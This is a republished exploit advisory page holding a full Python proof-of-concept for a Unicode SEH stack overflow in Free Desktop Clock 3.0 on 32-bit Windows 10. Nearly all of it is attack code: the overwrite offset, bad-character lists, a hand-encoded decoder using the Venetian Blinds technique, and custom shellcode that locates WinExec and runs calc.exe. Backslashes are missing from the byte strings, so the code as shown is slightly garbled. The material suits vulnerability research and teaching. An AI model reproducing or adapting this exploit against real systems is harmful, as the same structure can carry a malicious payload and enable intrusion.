Exploit/Advisories

Published on April 14th, 2020 📆 | 4048 Views ⚑

0

Free Desktop Clock 3.0 Stack Overflow ↭


Convert Text to Speech

# Exploit Title: Free Desktop Clock x86 - Venetian Blinds Zipper - Unicode SEH Stack Overflow
# Exploit Author: Bobby Cooke
# Date: April 11th, 2020
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/freeclock.exe
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
# - Does not work on x64 version
# Version: Free Desktop Clock 3.0
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer

############################### CRASH INFO ###############################
# [!] Access violation
# 042D15E7 8908 mov [eax], ecx ; FreeDesk.00440044
# SEH chain of main thread
# Address SE handler
# 0014EE24 FreeDesk.00410041 < - Structured Exception Handler Overwrite
# 00410041 74737953
# 69620C00 *** CORRUPT ENTRY ***
############################### CRASH INFO ###############################

File = 'poc.txt'

######################### EXPLOIT ENVIRONMENT INFO #########################
#badChars = 'x00x0dx80x82x83x84x85x86x87x88x89x8ax8bx8cx8e'
#badChars += 'x91x92x93x94x95x96x97x98x99x9ax9bx9cx9ex9f'
#goodChars = 'x81x8Dx8Fx90x9D' (within 0x80-0x9f)

# Base | Rebase | SafeSEH | ASLR | NXCompat | Modulename
# 0x00400000 | False | False | False | False | [FreeDesktopClock.exe]
# 0x042b0000 | True | False | False | False | [Clock.dll]
######################### EXPLOIT ENVIRONMENT INFO #########################

os_nSEH = 'x41'*(457) # Offset to nSEH Overwrite
nSEH = 'xebx05' # jmp short +2
SEH = 'xebx43' # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe]
# nSEH & SEH translated opcodes after Pop-Pop-Ret
# EB 00 jmp short +2
# 05 00EB0043 add eax, 4300EB00

# GetPC to decode our decoder using Venetian Blinds technique
getPC = 'x73' # add [ebx], dh # nop | [EBX] = writable memory
getPC += 'x61' # popad # [ESP] = &Payload
getPC += 'x72' # add [edx], dh # realigns execution for 1 byte opcodes

ebx2eax = 'x58' # pop eax # EAX = &Payload
ebx2eax += 'x72' # add [edx], dh

# Use Venetian Blinds technique to fix our mangled decoder
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte.
#
# Ajust EAX to &Decoder
getDecoder = 'x05x13x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += 'x72' # add [edx], dh
getDecoder += 'x2Dx11x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += 'x72' # add [edx], dh
getDecoder += 'x50' # push eax # [ESP] = &Decoder
getDecoder += 'x72' # add [edx], dh

############################# ZIPPER DECODER ###############################
# Set EAX = First non-null byte of shellcode
# init:
# 1 | 50 | push eax # EAX = &Shellcode
# 2 | 5F | pop edi # EDI = Decoder Destination Base Address
# 3 | 47 | inc edi # First 0x00 byte of shellcode
# 4:5 | 33D2 | xor edx, edx
# 6:7 | 33C9 | xor ecx, ecx
# 8:11 | 66:B9 1004 | mov cx, 410 # ECX = Loop Counter
# decodeLoop:
# 12:13 | 33DB | xor ebx, ebx
# 14 | 42 | inc edx # EDX+EAX = &SourceShellcodeByte
# 15 | 42 | inc edx # increment to next non-null byte
# 16:17 | 32DB | xor bl, bl # clear BL to hold next shellcode byte
# 18:20 | 021C10 | add bl, [eax+edx] # BL = SourceShellcodeByte
# 21:22 | 203F | and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
# 23:24 | 301F | xor [edi], bl # Write next byte of shellcode
# 25 | 47 | inc edi
# 26 | 49 | dec ecx
# 27:28 | 74 02 | je short jmp2code
# 29:30 | ^ EB ED | jmp short decodeLoop
# jmp2code:
# 31 | 50 | push eax
# 32 | C3 | ret
################################################3###########################

#DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3'
firstHalf = 'x50x47xD2xC9xB9x04xDBx42xDBx1Cx20x30x47x74xEBx50'
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3'
# 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32

# Note: These nop unicode instructions are actually [reg+0x00] not [reg]
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes
# Use the 3 byte version for Venetian Blinds alignment
# Example:
# nasm > add [edx], dh
# 00000000 0032 add [edx],dh
# nasm > add [edx+00], dh
# 00000000 0032 add [edx],dh
# nasm > add [edx+01], dh
# 00000000 007201 add [edx+0x1],dh
# + This happens when typing in ASM commands into msf-nasm_shell and immunity

## 2nd byte - x00 => x5F
venBlinds = 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'xC6x5F' # mov byte [eax], 0x50
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 4th byte - x00 => x33
venBlinds += 'xC6x33' # mov byte [eax], 0x33
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 6th byte - x00 => x33
venBlinds += 'xC6x33' # mov byte [eax], 0x33
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 8th byte - x00 => x66
venBlinds += 'xC6x66' # mov byte [eax], 0x66
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 10th byte - x00 => x10
venBlinds += 'xC6x10' # mov byte [eax], 0x10
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 12th byte - x00 => x33
venBlinds += 'xC6x33' # mov byte [eax], 0x33
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 14th byte - x00 => x42
venBlinds += 'xC6x42' # mov byte [eax], 0x42
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 16th byte - x00 => x32
venBlinds += 'xC6x32' # mov byte [eax], 0x32
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 18th byte - x00 => x02
venBlinds += 'xC6x02' # mov byte [eax], 0x02
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 20th byte - x00 => x10
venBlinds += 'xC6x10' # mov byte [eax], 0x10
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 22nd byte - x00 => x3F
venBlinds += 'xC6x3F' # mov byte [eax], 0x3F
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 24nd byte - x00 => x1F
venBlinds += 'xC6x1F' # mov byte [eax], 0x1F
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 26th byte - x00 => x49
venBlinds += 'xC6x49' # mov byte [eax], 0x49
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 28th byte - x00 => x02
venBlinds += 'xC6x02' # mov byte [eax], 0x02
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 30th byte - x00 => xED
venBlinds += 'xC6xED' # mov byte [eax], 0xED
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
venBlinds += 'x40' # inc eax // now eax points to the next 'x00'
venBlinds += 'x72' # add [edx], dh // nop to realign opcode execution
## 32nd byte - x00 => xC3
venBlinds += 'xC6xC3' # mov byte [eax], 0xC3
venBlinds += 'x72' # add [edx], dh
venBlinds += 'x40' # inc eax // now eax points shellcode byte
venBlinds += 'x72' # add [edx], dh
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds += 'xC3' # ret [!] Now we are executing the decoder!

os_decoder = 'x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))





#badChars = 00 0d 80 82->8e 91->9f
# Custom PopCalc shellcode that avoids the bad characters
fKernel32 = 'x33xF6' # xor esi, esi
fKernel32 += 'xF7xE6' # mul esi
fKernel32 += 'x64x03x52x30' # add edx, fs:[edx+30] # EBX = Address_of_PEB
fKernel32 += 'x03x42x0C' # add eax, [edx+C] # EBX = Address_of_LDR
fKernel32 += 'x03x70x1C' # add esi, [eax+1C] # ESI = 1st entry in InitOrderModuleList / ntdll.dll
fKernel32 += 'xAD' # lodsd # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll
fKernel32 += 'x50' # push eax
fKernel32 += 'x5E' # pop esi
fKernel32 += 'xAD' # lodsd # EAX = 3rd entry in InitOrderModuleList / kernel32.dll
fKernel32 += 'xFFx70x08' # push dword ptr [eax+8] # [ESP] = &kernel32

gExpotTbl = 'x33xC9' # xor ecx, ecx
gExpotTbl += 'x33xF6' # xor esi, esi
gExpotTbl += 'x33xDB' # xor ebx, ebx
gExpotTbl += 'xF7xE3' # mul ebx
gExpotTbl += 'x58' # pop eax # EAX = &kernel32
gExpotTbl += 'x50' # push eax # [ESP] = &kernel32
gExpotTbl += 'x03x70x3C' # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader
gExpotTbl += 'x03xF0' # add esi, eax ; ESI = &NewEXEHeader
gExpotTbl += 'x03x56x78' # add edx, [esi+0x78] ; EDX = RVA ExportTable
gExpotTbl += 'x03xD0' # add edx, eax ; EDX = &ExportTable = 763477B0

gExpotTbl += 'x03x5Ax20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable
gExpotTbl += 'x03xD8' # add ebx, eax ; EBX = &ExportNameTable

gExpotTbl += 'x03x4Ax24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable
gExpotTbl += 'x03xC8' # add ecx, eax ; ECX = &ExportOrdinalTable
gExpotTbl += 'x51' # push ecx

gExpotTbl += 'x33xFF' # xor edi, edi
gExpotTbl += 'x03x7Ax1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable
gExpotTbl += 'x03xF8' # add edi, eax ; EDI = &ExportAddrTable
gExpotTbl += 'x57' # push edi

fWinExec = 'x68x57x69x6Ex45' # push 0x456E6957 ; EniW
fWinExec += 'x33xC0' # xor eax, eax ; EAX = Counter

fWinExec += 'x33xF6' # xor esi, esi
fWinExec += 'x03xF4' # add esi, esp ; ESI = "WinE"
fWinExec += 'xFC' # cld ; Process strings left to right
fWinExec += 'x50' # push eax
fWinExec += 'x33xC9' # xor ecx, ecx
fWinExec += 'x41' # inc ecx
fWinExec += 'x41' # inc ecx
fWinExec += 'x41' # inc ecx
fWinExec += 'x41' # inc ecx
fWinExec += 'xF7xE1' # mul ecx
fWinExec += 'x33xFF' # xor edi, edi
fWinExec += 'x03x3Cx18' # add edi, [eax+ebx]
fWinExec += 'x58' # pop eax
fWinExec += 'x03x7Cx24x0C' # add edi, [esp+0xC] ; EDI = &NthNameString
fWinExec += 'xF3xA6' # repe cmpsb ; compare [&NthNameString] to "WinExec"
fWinExec += 'x74x03' # jz found ; If [&NthNameString] == "WinExec" end loop
fWinExec += 'x40' # inc eax ; Counter ++
fWinExec += 'xEBxE1' # jmp short searchLoop ; restart loop

fWinExec += 'x33xC9' # xor ecx, ecx
fWinExec += 'x41' # inc ecx
fWinExec += 'x41' # inc ecx
fWinExec += 'xF7xE1' # mul ecx
fWinExec += 'x33xC9' # xor ecx, ecx
fWinExec += 'x03x4Cx24x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
fWinExec += 'x03xC8' # add ecx, eax
fWinExec += 'x33xC0' # xor eax, eax
fWinExec += 'x66x03x01' # add ax, [ecx] ; AX = ordinalNumber

fWinExec += 'x33xC9' # xor ecx, ecx
fWinExec += 'x41x41x41x41' # inc ecx X 4
fWinExec += 'xF7xE1' # mul ecx
fWinExec += 'xFFx74x24x04' # push dword [esp+0x4]
fWinExec += 'x01x04x24' # add [esp], eax
fWinExec += 'x5A' # pop edx
fWinExec += 'x33xDB' # xor ebx, ebx
fWinExec += 'x03x1A' # add ebx, [edx] ; EBX = RVA WinExec
fWinExec += 'x03x5Cx24x0C' # add ebx, [esp+0xC] ; EBX = &WinExec
# Call WinExec( CmdLine, ShowState );
# CmdLine = "calc.exe"
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec = 'x33xC9' # xor ecx, ecx ; clear eax register
callWinExec += 'x51' # push ecx ; string terminator 0x00 for "calc.exe" string
callWinExec += 'x68x2Ex65x78x65' # push 0x6578652e ; exe. : 6578652e
callWinExec += 'x68x63x61x6Cx63' # push 0x636c6163 ; clac : 636c6163
callWinExec += 'x33xC0' # xor eax, eax
callWinExec += 'x03xC4' # add eax, esp ; save pointer to "calc.exe" string in eax
callWinExec += 'x41' # inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
callWinExec += 'x51' # push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
callWinExec += 'x50' # push eax ; lpcmdLine - push string address stack # 1st argument
callWinExec += 'xFFxD3' # call ebx ; Call the WinExec Function

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler = 'x77'*(9000-len(buffer))
buffer = buffer+filler

try:
payload = buffer
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'

Source link

Tagged with:



Comments are closed.